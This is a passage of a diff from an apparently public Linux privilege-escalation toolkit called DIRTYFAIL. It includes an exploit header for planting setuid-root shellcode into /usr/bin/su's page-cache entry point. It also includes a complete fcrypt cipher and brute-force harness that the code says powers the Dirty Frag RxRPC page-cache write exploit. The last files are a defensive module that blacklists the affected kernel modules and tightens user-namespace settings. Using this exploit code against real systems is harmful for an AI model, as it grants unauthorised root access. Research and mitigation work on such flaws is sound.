* - Targets /usr/bin/su's ELF entry point in the page cache
* - Plants ~48 bytes of x86_64 shellcode (setuid(0); setgid(0);
* execve("/bin/sh")) via 12 chained 4-byte writes
* - When /usr/bin/su is exec'd, kernel sets euid=0 (setuid bit on
* disk, unaffected by page-cache mods), dynamic linker resolves,
* control transfers to entry point → our shellcode → /bin/sh
*
* Mitigation profile vs. /etc/passwd flip:
* + Bypasses `pam_unix nullok` removal — no PAM dependency at all
* + Works even if password rotation policy enforces complex passwords
* - Crashes /usr/bin/su system-wide if shellcode is wrong (until
* drop_caches or reboot)
* - Stash-and-revert is the safety net: cleanup-su restores the
* original 48 bytes from /var/tmp/.dirtyfail-su.state.
*
* Architecture: x86_64 only for now. The shellcode is hardcoded for
* the SYSV amd64 syscall ABI. arm64/aarch64 would need a different
* shellcode blob and possibly a different entry-point fixup.
*
* Reference: V4bel/dirtyfrag's xfrm-ESP variant uses the same target
* file pattern with a different (4-byte) primitive. Theori's Xint
* disclosure uses /usr/bin/su as the canonical target.
*/
#ifndef DIRTYFAIL_EXPLOIT_SU_H
#define DIRTYFAIL_EXPLOIT_SU_H
#include "common.h"
/* End-to-end PoC: locate /usr/bin/su (or DIRTYFAIL_SU_PATH override),
* stash original entry-point bytes, plant shellcode, verify, and
* (if do_shell) invoke `su -` so the kernel exec's our hijacked
* /usr/bin/su as setuid root → shellcode runs → /bin/sh.
*
* `do_shell=false` runs the plant + verify + revert sequence — useful
* for testing the primitive without leaving the system in a broken
* state (su would otherwise be unusable until drop_caches). */
df_result_t exploit_su_shellcode(bool do_shell);
/* Restore /usr/bin/su's original entry-point bytes from
* /var/tmp/.dirtyfail-su.state and drop_caches to evict the modified
* page. Returns DF_OK on success, DF_TEST_ERROR if state file is
* missing or the on-disk file no longer matches. */
df_result_t cleanup_su_shellcode(void);
/* Used by --list-state. Returns true if /var/tmp/.dirtyfail-su.state
* is present (and prints a summary), false if absent. Side-effect free. */
bool exploit_su_list_state(void);
#endif
+303
View File
@@ -0,0 +1,303 @@
/*
* DIRTYFAIL — fcrypt.c
*
* Implementation of the rxkad fcrypt block cipher and a user-space
* brute-force search loop.
*
* ATTRIBUTION
* -----------
* The four 256-byte S-box tables (`SBOX0_RAW` … `SBOX3_RAW`) and the
* 8-byte → 56-bit key packing + 11-bit rotation key schedule are the
* standard rxkad / fcrypt protocol constants, also present in the
* Linux kernel `crypto/fcrypt.c` (GPL-2.0, David Howells / KTH).
*
* The implementation code below — table preprocessing, round-key
* struct, brute-force harness, predicates — is fresh DIRTYFAIL code.
* The cipher tables themselves are protocol facts; using them is what
* makes interoperability with the kernel possible.
*
* See NOTICE.md.
*
* SELF-TEST VECTORS (from the kernel test suite):
* K = 00 00 00 00 00 00 00 00 → decrypt(0E0900C73EF7ED41) = 00000000 00000000
* K = 11 44 ?? ?? ?? ?? ?? 66 → decrypt(D8ED787477EC0680) = 12345678 9ABCDEF0
*/
#include "fcrypt.h"
#include <arpa/inet.h> /* htonl == htonl, portable */
#include <time.h>
#include <string.h>
/* -------- raw S-box bytes ------------------------------------------------ *
*
* These are the rxkad protocol S-boxes, exactly as specified.
* They are pre-shifted into 32-bit form by fcrypt_init() so the inner
* round function (FF) is just four XORs of 32-bit lookups.
*/
static const uint8_t SBOX0_RAW[256] = {
0xea,0x7f,0xb2,0x64,0x9d,0xb0,0xd9,0x11,0xcd,0x86,0x86,0x91,0x0a,0xb2,0x93,0x06,
0x0e,0x06,0xd2,0x65,0x73,0xc5,0x28,0x60,0xf2,0x20,0xb5,0x38,0x7e,0xda,0x9f,0xe3,
0xd2,0xcf,0xc4,0x3c,0x61,0xff,0x4a,0x4a,0x35,0xac,0xaa,0x5f,0x2b,0xbb,0xbc,0x53,
0x4e,0x9d,0x78,0xa3,0xdc,0x09,0x32,0x10,0xc6,0x6f,0x66,0xd6,0xab,0xa9,0xaf,0xfd,
0x3b,0x95,0xe8,0x34,0x9a,0x81,0x72,0x80,0x9c,0xf3,0xec,0xda,0x9f,0x26,0x76,0x15,
0x3e,0x55,0x4d,0xde,0x84,0xee,0xad,0xc7,0xf1,0x6b,0x3d,0xd3,0x04,0x49,0xaa,0x24,
0x0b,0x8a,0x83,0xba,0xfa,0x85,0xa0,0xa8,0xb1,0xd4,0x01,0xd8,0x70,0x64,0xf0,0x51,
0xd2,0xc3,0xa7,0x75,0x8c,0xa5,0x64,0xef,0x10,0x4e,0xb7,0xc6,0x61,0x03,0xeb,0x44,
0x3d,0xe5,0xb3,0x5b,0xae,0xd5,0xad,0x1d,0xfa,0x5a,0x1e,0x33,0xab,0x93,0xa2,0xb7,
0xe7,0xa8,0x45,0xa4,0xcd,0x29,0x63,0x44,0xb6,0x69,0x7e,0x2e,0x62,0x03,0xc8,0xe0,
0x17,0xbb,0xc7,0xf3,0x3f,0x36,0xba,0x71,0x8e,0x97,0x65,0x60,0x69,0xb6,0xf6,0xe6,
0x6e,0xe0,0x81,0x59,0xe8,0xaf,0xdd,0x95,0x22,0x99,0xfd,0x63,0x19,0x74,0x61,0xb1,
0xb6,0x5b,0xae,0x54,0xb3,0x70,0xff,0xc6,0x3b,0x3e,0xc1,0xd7,0xe1,0x0e,0x76,0xe5,
0x36,0x4f,0x59,0xc7,0x08,0x6e,0x82,0xa6,0x93,0xc4,0xaa,0x26,0x49,0xe0,0x21,0x64,
0x07,0x9f,0x64,0x81,0x9c,0xbf,0xf9,0xd1,0x43,0xf8,0xb6,0xb9,0xf1,0x24,0x75,0x03,
0xe4,0xb0,0x99,0x46,0x3d,0xf5,0xd1,0x39,0x72,0x12,0xf6,0xba,0x0c,0x0d,0x42,0x2e,
};
static const uint8_t SBOX1_RAW[256] = {
0x77,0x14,0xa6,0xfe,0xb2,0x5e,0x8c,0x3e,0x67,0x6c,0xa1,0x0d,0xc2,0xa2,0xc1,0x85,
0x6c,0x7b,0x67,0xc6,0x23,0xe3,0xf2,0x89,0x50,0x9c,0x03,0xb7,0x73,0xe6,0xe1,0x39,
0x31,0x2c,0x27,0x9f,0xa5,0x69,0x44,0xd6,0x23,0x83,0x98,0x7d,0x3c,0xb4,0x2d,0x99,
0x1c,0x1f,0x8c,0x20,0x03,0x7c,0x5f,0xad,0xf4,0xfa,0x95,0xca,0x76,0x44,0xcd,0xb6,
0xb8,0xa1,0xa1,0xbe,0x9e,0x54,0x8f,0x0b,0x16,0x74,0x31,0x8a,0x23,0x17,0x04,0xfa,
0x79,0x84,0xb1,0xf5,0x13,0xab,0xb5,0x2e,0xaa,0x0c,0x60,0x6b,0x5b,0xc4,0x4b,0xbc,
0xe2,0xaf,0x45,0x73,0xfa,0xc9,0x49,0xcd,0x00,0x92,0x7d,0x97,0x7a,0x18,0x60,0x3d,
0xcf,0x5b,0xde,0xc6,0xe2,0xe6,0xbb,0x8b,0x06,0xda,0x08,0x15,0x1b,0x88,0x6a,0x17,
0x89,0xd0,0xa9,0xc1,0xc9,0x70,0x6b,0xe5,0x43,0xf4,0x68,0xc8,0xd3,0x84,0x28,0x0a,
0x52,0x66,0xa3,0xca,0xf2,0xe3,0x7f,0x7a,0x31,0xf7,0x88,0x94,0x5e,0x9c,0x63,0xd5,
0x24,0x66,0xfc,0xb3,0x57,0x25,0xbe,0x89,0x44,0xc4,0xe0,0x8f,0x23,0x3c,0x12,0x52,
0xf5,0x1e,0xf4,0xcb,0x18,0x33,0x1f,0xf8,0x69,0x10,0x9d,0xd3,0xf7,0x28,0xf8,0x30,
0x05,0x5e,0x32,0xc0,0xd5,0x19,0xbd,0x45,0x8b,0x5b,0xfd,0xbc,0xe2,0x5c,0xa9,0x96,
0xef,0x70,0xcf,0xc2,0x2a,0xb3,0x61,0xad,0x80,0x48,0x81,0xb7,0x1d,0x43,0xd9,0xd7,
0x45,0xf0,0xd8,0x8a,0x59,0x7c,0x57,0xc1,0x79,0xc7,0x34,0xd6,0x43,0xdf,0xe4,0x78,
0x16,0x06,0xda,0x92,0x76,0x51,0xe1,0xd4,0x70,0x03,0xe0,0x2f,0x96,0x91,0x82,0x80,
};
static const uint8_t SBOX2_RAW[256] = {
0xf0,0x37,0x24,0x53,0x2a,0x03,0x83,0x86,0xd1,0xec,0x50,0xf0,0x42,0x78,0x2f,0x6d,
0xbf,0x80,0x87,0x27,0x95,0xe2,0xc5,0x5d,0xf9,0x6f,0xdb,0xb4,0x65,0x6e,0xe7,0x24,
0xc8,0x1a,0xbb,0x49,0xb5,0x0a,0x7d,0xb9,0xe8,0xdc,0xb7,0xd9,0x45,0x20,0x1b,0xce,
0x59,0x9d,0x6b,0xbd,0x0e,0x8f,0xa3,0xa9,0xbc,0x74,0xa6,0xf6,0x7f,0x5f,0xb1,0x68,
0x84,0xbc,0xa9,0xfd,0x55,0x50,0xe9,0xb6,0x13,0x5e,0x07,0xb8,0x95,0x02,0xc0,0xd0,
0x6a,0x1a,0x85,0xbd,0xb6,0xfd,0xfe,0x17,0x3f,0x09,0xa3,0x8d,0xfb,0xed,0xda,0x1d,
0x6d,0x1c,0x6c,0x01,0x5a,0xe5,0x71,0x3e,0x8b,0x6b,0xbe,0x29,0xeb,0x12,0x19,0x34,
0xcd,0xb3,0xbd,0x35,0xea,0x4b,0xd5,0xae,0x2a,0x79,0x5a,0xa5,0x32,0x12,0x7b,0xdc,
0x2c,0xd0,0x22,0x4b,0xb1,0x85,0x59,0x80,0xc0,0x30,0x9f,0x73,0xd3,0x14,0x48,0x40,
0x07,0x2d,0x8f,0x80,0x0f,0xce,0x0b,0x5e,0xb7,0x5e,0xac,0x24,0x94,0x4a,0x18,0x15,
0x05,0xe8,0x02,0x77,0xa9,0xc7,0x40,0x45,0x89,0xd1,0xea,0xde,0x0c,0x79,0x2a,0x99,
0x6c,0x3e,0x95,0xdd,0x8c,0x7d,0xad,0x6f,0xdc,0xff,0xfd,0x62,0x47,0xb3,0x21,0x8a,
0xec,0x8e,0x19,0x18,0xb4,0x6e,0x3d,0xfd,0x74,0x54,0x1e,0x04,0x85,0xd8,0xbc,0x1f,
0x56,0xe7,0x3a,0x56,0x67,0xd6,0xc8,0xa5,0xf3,0x8e,0xde,0xae,0x37,0x49,0xb7,0xfa,
0xc8,0xf4,0x1f,0xe0,0x2a,0x9b,0x15,0xd1,0x34,0x0e,0xb5,0xe0,0x44,0x78,0x84,0x59,
0x56,0x68,0x77,0xa5,0x14,0x06,0xf5,0x2f,0x8c,0x8a,0x73,0x80,0x76,0xb4,0x10,0x86,
};
static const uint8_t SBOX3_RAW[256] = {
0xa9,0x2a,0x48,0x51,0x84,0x7e,0x49,0xe2,0xb5,0xb7,0x42,0x33,0x7d,0x5d,0xa6,0x12,
0x44,0x48,0x6d,0x28,0xaa,0x20,0x6d,0x57,0xd6,0x6b,0x5d,0x72,0xf0,0x92,0x5a,0x1b,
0x53,0x80,0x24,0x70,0x9a,0xcc,0xa7,0x66,0xa1,0x01,0xa5,0x41,0x97,0x41,0x31,0x82,
0xf1,0x14,0xcf,0x53,0x0d,0xa0,0x10,0xcc,0x2a,0x7d,0xd2,0xbf,0x4b,0x1a,0xdb,0x16,
0x47,0xf6,0x51,0x36,0xed,0xf3,0xb9,0x1a,0xa7,0xdf,0x29,0x43,0x01,0x54,0x70,0xa4,
0xbf,0xd4,0x0b,0x53,0x44,0x60,0x9e,0x23,0xa1,0x18,0x68,0x4f,0xf0,0x2f,0x82,0xc2,
0x2a,0x41,0xb2,0x42,0x0c,0xed,0x0c,0x1d,0x13,0x3a,0x3c,0x6e,0x35,0xdc,0x60,0x65,
0x85,0xe9,0x64,0x02,0x9a,0x3f,0x9f,0x87,0x96,0xdf,0xbe,0xf2,0xcb,0xe5,0x6c,0xd4,
0x5a,0x83,0xbf,0x92,0x1b,0x94,0x00,0x42,0xcf,0x4b,0x00,0x75,0xba,0x8f,0x76,0x5f,
0x5d,0x3a,0x4d,0x09,0x12,0x08,0x38,0x95,0x17,0xe4,0x01,0x1d,0x4c,0xa9,0xcc,0x85,
0x82,0x4c,0x9d,0x2f,0x3b,0x66,0xa1,0x34,0x10,0xcd,0x59,0x89,0xa5,0x31,0xcf,0x05,
0xc8,0x84,0xfa,0xc7,0xba,0x4e,0x8b,0x1a,0x19,0xf1,0xa1,0x3b,0x18,0x12,0x17,0xb0,
0x98,0x8d,0x0b,0x23,0xc3,0x3a,0x2d,0x20,0xdf,0x13,0xa0,0xa8,0x4c,0x0d,0x6c,0x2f,
0x47,0x13,0x13,0x52,0x1f,0x2d,0xf5,0x79,0x3d,0xa2,0x54,0xbd,0x69,0xc8,0x6b,0xf3,
0x05,0x28,0xf1,0x16,0x46,0x40,0xb0,0x11,0xd3,0xb7,0x95,0x49,0xcf,0xc3,0x1d,0x8f,
0xd8,0xe1,0x73,0xdb,0xad,0xc8,0xc9,0xa9,0xa1,0xc2,0xc5,0xe3,0xba,0xfc,0x0e,0x25,
};
/* -------- preprocessed 32-bit S-boxes ----------------------------------- *
*
* The round function does ROUND_KEY ^ HALF_BLOCK then four S-box lookups
* combined by XOR. To make this fast we pre-rotate the S-box outputs
* into the four byte lanes:
*
* sbox0[b] = b (low byte lane)
* sbox1[b] = (b & 0x1f) << 5 in the LOW byte, b >> 5 in the SECOND byte
* (rotation by 8-3=5 bits within a 32-bit big-endian view)
* sbox2[b] = b << 11
* sbox3[b] = b << 19
*
* After all four are XORed, we get the round-function output directly
* in big-endian order, ready to XOR into the other half-block.
*/
static uint32_t SBOX0[256], SBOX1[256], SBOX2[256], SBOX3[256];
void fcrypt_init(void)
{
for (int i = 0; i < 256; i++) {
SBOX0[i] = htonl((uint32_t)SBOX0_RAW[i] << 3);
SBOX1[i] = htonl(((uint32_t)(SBOX1_RAW[i] & 0x1f) << 27) |
((uint32_t)SBOX1_RAW[i] >> 5));
SBOX2[i] = htonl((uint32_t)SBOX2_RAW[i] << 11);
SBOX3[i] = htonl((uint32_t)SBOX3_RAW[i] << 19);
}
}
/* -------- key schedule -------------------------------------------------- *
*
* The key is 8 bytes but only the high 7 bits of each byte are used —
* this is the standard 56-bit key with the low bit of each byte serving
* as parity in the AFS rxkad token format. We pack:
*
* k_56 = (key[0]>>1) || (key[1]>>1) || ... || (key[7]>>1) (56 bits)
*
* Then derive 16 round keys by emitting the low 32 bits of k_56 and
* rotating right by 11 bits between each:
*
* round_key[0] = k_56[0..31]
* k_56 = ROR_56(k_56, 11)
* round_key[1] = k_56[0..31]
* ...
* round_key[15] = k_56[0..31] (no rotation after the last)
*/
#define ROR56_11(k) \
((k) = ((k) >> 11) | (((k) & ((1ULL << 11) - 1)) << (56 - 11)))
void fcrypt_setkey(fcrypt_ctx *ctx, const uint8_t key[8])
{
uint64_t k = 0;
for (int i = 0; i < 8; i++) {
k = (k << 7) | (uint64_t)(key[i] >> 1);
}
/* k is now 56 bits in the low order of a uint64_t. */
for (int i = 0; i < 16; i++) {
ctx->round_key[i] = htonl((uint32_t)k);
if (i < 15) ROR56_11(k);
}
}
/* -------- decrypt ------------------------------------------------------- *
*
* Standard 16-round Feistel decrypt with reversed round-key order.
* The round function FF mixes the round key into one half-block, splits
* into 4 bytes, and XORs the four S-box outputs into the other half.
*/
#define FF(R_, L_, k_) do { \
union { uint32_t w; uint8_t b[4]; } u; \
u.w = (k_) ^ (R_); \
(L_) ^= SBOX0[u.b[0]] ^ SBOX1[u.b[1]] ^ SBOX2[u.b[2]] ^ SBOX3[u.b[3]]; \
} while (0)
void fcrypt_decrypt(const fcrypt_ctx *ctx,
uint8_t out[8], const uint8_t in[8])
{
uint32_t L, R;
memcpy(&L, in, 4);
memcpy(&R, in + 4, 4);
FF(L, R, ctx->round_key[0xf]);
FF(R, L, ctx->round_key[0xe]);
FF(L, R, ctx->round_key[0xd]);
FF(R, L, ctx->round_key[0xc]);
FF(L, R, ctx->round_key[0xb]);
FF(R, L, ctx->round_key[0xa]);
FF(L, R, ctx->round_key[0x9]);
FF(R, L, ctx->round_key[0x8]);
FF(L, R, ctx->round_key[0x7]);
FF(R, L, ctx->round_key[0x6]);
FF(L, R, ctx->round_key[0x5]);
FF(R, L, ctx->round_key[0x4]);
FF(L, R, ctx->round_key[0x3]);
FF(R, L, ctx->round_key[0x2]);
FF(L, R, ctx->round_key[0x1]);
FF(R, L, ctx->round_key[0x0]);
memcpy(out, &L, 4);
memcpy(out + 4, &R, 4);
}
/* -------- self-test ----------------------------------------------------- */
bool fcrypt_selftest(void)
{
fcrypt_ctx ctx;
uint8_t out[8];
/* Vector 1: all-zero key. Catches gross structural bugs but the
* key schedule produces all-zero round keys, so it can't catch
* subtle bugs in the 7-bit packing or 11-bit rotation. */
static const uint8_t k1[8] = {0,0,0,0,0,0,0,0};
static const uint8_t c1[8] = {0x0E,0x09,0x00,0xC7,0x3E,0xF7,0xED,0x41};
fcrypt_setkey(&ctx, k1);
fcrypt_decrypt(&ctx, out, c1);
if (memcmp(out, "\x00\x00\x00\x00\x00\x00\x00\x00", 8) != 0)
return false;
/* Vector 2: non-zero key, exercises every byte of the key schedule
* and round-key emit. Pulled from the kernel's crypto/testmgr.h
* fcrypt-pcbc test vector. */
static const uint8_t k2[8] = {0x11,0x44,0x77,0xAA,0xDD,0x00,0x33,0x66};
static const uint8_t c2[8] = {0xD8,0xED,0x78,0x74,0x77,0xEC,0x06,0x80};
static const uint8_t p2[8] = {0x12,0x34,0x56,0x78,0x9A,0xBC,0xDE,0xF0};
fcrypt_setkey(&ctx, k2);
fcrypt_decrypt(&ctx, out, c2);
if (memcmp(out, p2, 8) != 0)
return false;
return true;
}
/* -------- brute-force harness ------------------------------------------- *
*
* splitmix64 — fast, statistically decent generator with no library
* dependency. Plenty for a "scan a 56-bit subspace until I hit a
* predicate" loop. Each call advances the seed and returns a 64-bit
* pseudorandom value, which we treat as the 8-byte candidate key.
*/
static uint64_t splitmix64(uint64_t *s)
{
uint64_t z = (*s += 0x9E3779B97F4A7C15ULL);
z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
return z ^ (z >> 31);
}
bool fcrypt_brute_force(const uint8_t ciphertext[8],
fcrypt_pred_fn predicate,
uint64_t max_iters,
uint64_t seed,
const char *label,
uint8_t key_out[8],
uint8_t plaintext_out[8])
{
fcrypt_ctx ctx;
uint8_t k[8], p[8];
struct timespec t0, t1;
clock_gettime(CLOCK_MONOTONIC, &t0);
for (uint64_t i = 0; i < max_iters; i++) {
uint64_t r = splitmix64(&seed);
memcpy(k, &r, 8);
fcrypt_setkey(&ctx, k);
fcrypt_decrypt(&ctx, p, ciphertext);
if (predicate(p)) {
clock_gettime(CLOCK_MONOTONIC, &t1);
double dt = (t1.tv_sec - t0.tv_sec) +
(t1.tv_nsec - t0.tv_nsec) / 1e9;
log_ok("%s found after %llu iters in %.2fs (%.2f Mops/s)",
label, (unsigned long long)i, dt,
(i + 1) / dt / 1e6);
memcpy(key_out, k, 8);
memcpy(plaintext_out, p, 8);
return true;
}
}
clock_gettime(CLOCK_MONOTONIC, &t1);
double dt = (t1.tv_sec - t0.tv_sec) +
(t1.tv_nsec - t0.tv_nsec) / 1e9;
log_bad("%s exhausted %llu iters in %.2fs without a hit — predicate too strict?",
label, (unsigned long long)max_iters, dt);
return false;
}
+68
View File
@@ -0,0 +1,68 @@
/*
* DIRTYFAIL — fcrypt.h
*
* fcrypt is the Andrew File System (AFS) rxkad cipher: 56-bit key,
* 8-byte block, 16-round Feistel structure with four 256-entry S-boxes.
* It is *deterministic*, with a public algorithm specification — its
* key space (2^56) is small enough that targeted decryption can be
* brute-forced in user space at ~15-20 M ops / second on a single core.
*
* That property is what makes the RxRPC variant of Dirty Frag
* (CVE-2026-43500) practical: the in-place 8-byte STORE is
* fcrypt_decrypt(C, K), where C is the ciphertext at the target file
* offset and K is the session key the attacker registers via
* add_key("rxrpc", ...). For each STORE position we want, we run the
* fcrypt brute force locally until we find a K such that the resulting
* 8-byte plaintext matches our predicate (e.g. starts with "::").
*
* License: see NOTICE.md. The S-box constants are the rxkad protocol
* tables (also present in the Linux kernel's crypto/fcrypt.c, GPL-2.0,
* David Howells / KTH).
*/
#ifndef DIRTYFAIL_FCRYPT_H
#define DIRTYFAIL_FCRYPT_H
#include "common.h"
typedef struct {
uint32_t round_key[16]; /* big-endian, derived in fcrypt_setkey */
} fcrypt_ctx;
/* Initialize the global S-box tables. Call once before any other fcrypt_*. */
void fcrypt_init(void);
/* Run the kernel test vectors and return true if they match. Use this
* during exploit setup to fail fast on a broken build. */
bool fcrypt_selftest(void);
/* Derive the 16 round keys from an 8-byte key (only the high 7 bits of
* each byte are used; bit 0 of each byte is parity in the rxkad token
* format). */
void fcrypt_setkey(fcrypt_ctx *ctx, const uint8_t key[8]);
/* Decrypt a single 8-byte block. */
void fcrypt_decrypt(const fcrypt_ctx *ctx,
uint8_t out[8], const uint8_t in[8]);
/* Brute-force search predicate: given an 8-byte candidate plaintext,
* return true if it satisfies the constraints we want at this STORE
* position. */
typedef bool (*fcrypt_pred_fn)(const uint8_t plaintext[8]);
/* Search for an 8-byte key K such that fcrypt_decrypt(C, K) satisfies
* `predicate`. Returns true and fills K and the resulting plaintext on
* hit; returns false after `max_iters` non-hits.
*
* `seed` selects the search starting point (deterministic via splitmix64);
* pass time(NULL) for randomness across runs, or a fixed value for
* reproducibility. `label` is logged on hit/timeout for clarity. */
bool fcrypt_brute_force(const uint8_t ciphertext[8],
fcrypt_pred_fn predicate,
uint64_t max_iters,
uint64_t seed,
const char *label,
uint8_t key_out[8],
uint8_t plaintext_out[8]);
#endif
+182
View File
@@ -0,0 +1,182 @@
/*
* DIRTYFAIL — mitigate.c — defensive deployment
*
* See mitigate.h for the design.
*/
#include "mitigate.h"
#include <fcntl.h>
#include <sys/stat.h>
#include <stdlib.h>
#define MODPROBE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
#define SYSCTL_CONF "/etc/sysctl.d/99-dirtyfail-mitigations.conf"
/* Modules to blacklist. Each is the kernel module name + reason. */
static const struct {
const char *name;
const char *reason;
} BLACKLIST[] = {
{"algif_aead", "Copy Fail (CVE-2026-31431) — authencesn page-cache STORE primitive"},
{"esp4", "Dirty Frag (CVE-2026-43284) — xfrm-ESP IPv4 path"},
{"esp6", "Dirty Frag (CVE-2026-43284) — xfrm-ESP IPv6 path"},
{"rxrpc", "Dirty Frag (CVE-2026-43500) — RxRPC pcbc(fcrypt) path"},
{NULL, NULL},
};
static bool write_file(const char *path, const char *content)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) return false;
size_t n = strlen(content);
ssize_t got = write(fd, content, n);
close(fd);
return got == (ssize_t)n;
}
static bool require_root(void)
{
if (geteuid() != 0) {
log_bad("mitigate requires root — re-run as `sudo dirtyfail --mitigate`");
return false;
}
return true;
}
static int rmmod_if_loaded(const char *name)
{
/* Try via /sbin/rmmod (system shell). Returns 0 if module wasn't
* loaded or unload succeeded; 1 if unload failed. */
char cmd[256];
snprintf(cmd, sizeof(cmd),
"if lsmod | grep -q '^%s '; then "
" rmmod %s 2>/dev/null && echo unloaded || echo \"unload failed (in use?)\"; "
"else "
" echo \"not loaded\"; "
"fi", name, name);
return system(cmd) == 0 ? 0 : 1;
}
df_result_t mitigate_apply(void)
{
log_step("DIRTYFAIL — defensive mitigation deployment");
if (!require_root()) return DF_TEST_ERROR;
log_warn("about to apply system-wide mitigations:");
log_warn(" 1. blacklist algif_aead, esp4, esp6, rxrpc via modprobe");
log_warn(" 2. unload those modules if loaded");
log_warn(" 3. set kernel.apparmor_restrict_unprivileged_userns=1 (where AA loaded)");
log_warn(" 4. drop page cache");
fputc('\n', stderr);
log_warn("SIDE EFFECTS:");
log_warn(" - blacklisting esp4/esp6 BREAKS IPsec / strongSwan / libreswan VPNs");
log_warn(" - blacklisting rxrpc BREAKS AFS distributed file system clients");
log_warn(" - blacklisting algif_aead BREAKS userspace AEAD via AF_ALG (rare)");
fputc('\n', stderr);
log_warn("undo with `dirtyfail --cleanup-mitigate` (removes config files, leaves modules unloaded)");
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined — aborting");
return DF_OK;
}
/* 1. Write modprobe blacklist */
char buf[2048];
char *p = buf;
p += snprintf(p, sizeof(buf) - (p - buf),
"# DIRTYFAIL mitigations — blacklist modules that expose the\n"
"# Copy Fail (CVE-2026-31431) and Dirty Frag (CVE-2026-43284,\n"
"# CVE-2026-43500) page-cache write primitives.\n"
"#\n"
"# Generated by `dirtyfail --mitigate`. Remove with\n"
"# `dirtyfail --cleanup-mitigate` or by deleting this file.\n"
"\n");
for (int i = 0; BLACKLIST[i].name; i++) {
p += snprintf(p, sizeof(buf) - (p - buf),
"# %s\n"
"install %s /bin/false\n",
BLACKLIST[i].reason, BLACKLIST[i].name);
}
if (!write_file(MODPROBE_CONF, buf)) {
log_bad("failed to write %s: %s", MODPROBE_CONF, strerror(errno));
return DF_TEST_ERROR;
}
log_ok("wrote %s", MODPROBE_CONF);
/* 2. Unload currently loaded modules */
log_step("unloading currently-loaded modules:");
for (int i = 0; BLACKLIST[i].name; i++) {
printf(" %s: ", BLACKLIST[i].name);
fflush(stdout);
rmmod_if_loaded(BLACKLIST[i].name);
}
/* 3. Set AppArmor sysctl (only if AA is loaded) */
int sysctl_fd = open("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", O_WRONLY);
if (sysctl_fd >= 0) {
if (write(sysctl_fd, "1\n", 2) == 2)
log_ok("set apparmor_restrict_unprivileged_userns=1 (runtime)");
else
log_warn("could not set apparmor_restrict_unprivileged_userns: %s", strerror(errno));
close(sysctl_fd);
/* Persist via sysctl.d */
const char *sysctl_content =
"# DIRTYFAIL mitigations — block unprivileged userns capability acquisition.\n"
"# This prevents the xfrm-ESP / RxRPC / GCM exploit infrastructure from\n"
"# obtaining CAP_NET_ADMIN inside a fresh user namespace.\n"
"kernel.apparmor_restrict_unprivileged_userns = 1\n";
if (write_file(SYSCTL_CONF, sysctl_content))
log_ok("wrote %s (persists across reboot)", SYSCTL_CONF);
else
log_warn("could not write %s: %s", SYSCTL_CONF, strerror(errno));
} else {
log_hint("AppArmor sysctl not present (kernel without AA, or AA not loaded) — skipping");
}
/* 4. Drop page cache */
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
if (dc >= 0) {
ssize_t n = write(dc, "3\n", 2);
close(dc);
if (n == 2) log_ok("dropped page cache");
}
fputc('\n', stdout);
log_ok("=== mitigation summary ===");
log_ok(" modprobe blacklist: %s", MODPROBE_CONF);
log_ok(" sysctl persistence: %s", SYSCTL_CONF);
log_ok(" modules unloaded: algif_aead, esp4, esp6, rxrpc (where loaded)");
fputc('\n', stdout);
log_hint("Re-verify with `dirtyfail --scan` — should now report most modes as");
log_hint("preconditions missing or mitigated.");
fputc('\n', stdout);
log_hint("Ultimate fix: install kernel update with f4c50a4034e6 backport.");
return DF_OK;
}
df_result_t mitigate_revert(void)
{
log_step("DIRTYFAIL — revert mitigations");
if (!require_root()) return DF_TEST_ERROR;
log_warn("removing %s + %s", MODPROBE_CONF, SYSCTL_CONF);
log_warn("modules will NOT be auto-loaded — operator decides if/when");
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined");
return DF_OK;
}
if (unlink(MODPROBE_CONF) == 0) log_ok("removed %s", MODPROBE_CONF);
else if (errno == ENOENT) log_hint("%s did not exist", MODPROBE_CONF);
else log_bad("unlink %s: %s", MODPROBE_CONF, strerror(errno));
if (unlink(SYSCTL_CONF) == 0) log_ok("removed %s", SYSCTL_CONF);
else if (errno == ENOENT) log_hint("%s did not exist", SYSCTL_CONF);
else log_bad("unlink %s: %s", SYSCTL_CONF, strerror(errno));
log_hint("modules can be reloaded individually with `sudo modprobe <name>`");
return DF_OK;
}
+46
View File
@@ -0,0 +1,46 @@
/*
* DIRTYFAIL — mitigate.h
*
* Defensive companion to the exploit modes: applies all known
* mitigations for Copy Fail / Dirty Frag in one shot. Intended for
* sysadmins who want a fast "fix this until the kernel patch lands"
* deployment.
*
* What `--mitigate` does:
*
* 1. Writes /etc/modprobe.d/dirtyfail-mitigations.conf with
* `install <mod> /bin/false` blacklists for:
* - algif_aead (Copy Fail authencesn primitive)
* - esp4 + esp6 (Dirty Frag xfrm-ESP path)
* - rxrpc (Dirty Frag RxRPC path)
*
* 2. rmmods any of those that are currently loaded.
*
* 3. Sets `kernel.apparmor_restrict_unprivileged_userns=1` (where
* AppArmor is loaded). Persists via /etc/sysctl.d/.
*
* 4. Drops the page cache to evict any pre-existing page-cache
* modifications.
*
* 5. Reports what it did so the operator can audit / undo.
*
* Caveats:
* - Requires root.
* - Disabling esp4/esp6 breaks IPsec / strongSwan.
* - Disabling rxrpc breaks AFS clients.
* - These are interim mitigations; the right fix is the kernel patch.
*
* Run with `--cleanup-mitigate` to undo (removes the blacklist conf,
* removes the sysctl conf, but does not unload modules — operator
* decides if/when to reload).
*/
#ifndef DIRTYFAIL_MITIGATE_H
#define DIRTYFAIL_MITIGATE_H
#include "common.h"
df_result_t mitigate_apply(void);
df_result_t mitigate_revert(void);
#endif